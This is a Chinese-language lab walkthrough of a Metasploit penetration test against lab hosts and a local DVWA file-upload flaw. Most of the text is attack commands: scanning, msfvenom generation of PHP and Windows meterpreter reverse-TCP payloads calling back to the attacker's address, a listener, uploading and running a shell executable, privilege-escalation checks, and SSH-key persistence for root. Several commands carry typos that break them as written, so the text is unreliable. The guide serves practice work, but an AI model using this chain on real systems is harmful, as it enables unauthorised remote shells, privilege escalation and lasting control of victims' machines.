攻击机器:kali 192.168.1.8
目标机器:windows2003 192.168.1.7
操作步骤
创建工作空间
显示数据库未连接
使用msfdb init
对数据进行初始化
使用命令
db_status
查看数据库状态信息,显示数据库已连接。
使用命令workspace -a 192.168.1.7
创建目标工作空间。
信息搜集
测试目标连通性:ping 192.168.1.7
(ping -c 3 ip :ping三次后结束 和 ping 使用ctrl+c结束)
测试目标服务:在msf中使用db_nmap
调用nmap对目标进行扫描
使用命令 db_nmap -sS 192.168.1.7
扫描结果会自动保存在数据库中
使用services
查看保存结果
对于http端口,使用http_version搜索相关版本信息。
使用命令search http_version
查找相关信息
使用
use
进入模块
使用show options
查看需要设置的参数
使用
set
设置相关参数
使用run
运行
通过http运行的web程序进行渗透测试;
对web程序,使用dir_scanner模块对目录进行扫描。
威胁建模与漏洞分析:
环境:在windows10中使用phpstudy搭建环境。
基于dvwa文件上传漏洞http://127.0.0.1:8081/vulnerabilities/upload/
渗透测试与权限控制
已知此处存在文件上传漏洞:
上传php meterpreter payload 文件,浏览器访问上传后的文件,获取php类型的反弹会话。
使用命令:
msfvenom -l payload | grep php | grep meterpreter
筛选php后渗透模块的payload.
选择php/meterpreter_reverse_tcp模块,使用命令:
msfvenom -p php/meterpreter_reverss_tcp lost=192.168.1.8 lport=4445 -o /home/shell.php
指定payload模块设置监听地址及监听端口,并指定生成文件的地址。可以看到成功生成shell.php文件。
在dvwa上传点上传shell.php文件
打开msf设置监听
使用命令 use expolit/muliti/handler
配置监听模块
使用命令show options
查看模块
set payload php/meterpreter_reverse_tcp
(此处的payload一定要和上方生成的payload的是同一个模块)
set lhost 192.168.1.8
设置监听的ip
set lport 4445
设置监听端口
run
运行,同时在浏览器上访问上传的shell.php文件,msf会生成相关的会话。
由于生成的会话不稳定(会话被中断,执行run重新访问上传的shell.php即可),且php meterpreter 不具有meterpreter完整功能,因此可以继续上传exe的meterpreter获取更多操作功能。
使用命令msfvenom -l payload | grep windows | grep meterpreter
筛选windows后渗透测试payload
使用命令:
msvenom -p windows.x64/meterpreter_reverse_tcp lhost=192.168.1.8 lport=4446 -f exe -o /home/shell1.exe
生成payload
使用刚才通过的上传php获得的meterpreter,上传生成的shell1.exe
upload /home/shell1.exe
上传成功
使用
dir
查看已经成功上传shell1.exe,且具备执行权限(若文件不具备执行权限则使用命令对文件添加权限)
再打开一个msf设置监听,监听上传的exe会话。
在通过的上传php获得的meterpreter,使用命令execute -f shell1.exe
执行上传的exe
可在新打开的msf中建立相关的会话。
此时获得权限认为web服务层面的权限,获取system权限
使用命令 use post/multi/recon/local_exploit_suggester
配置相关参数检测是否存在提权模块
使用提示的模块进行提权,我这里可能由于开启防火墙的原因未提权成功。正常情况下通过该操作可以 获得system权限。
维持权限
linux
使用 post/linux/manage目录下得sshkey_persistence模块实现对Linux服务的持续控制
use post/linux/manage/sshkey_persistence
show options
set session 2
(使用具有root权限的session)
run
执行后会生成私钥文件
直接使用命令
ssh root@[目标ip] -i [私钥文件路径]
直接登录目标机器
root用户经常会被禁止远程登录,此时需要修改ssh配置,使其允许root用户登录。
windows
详见windows权限维持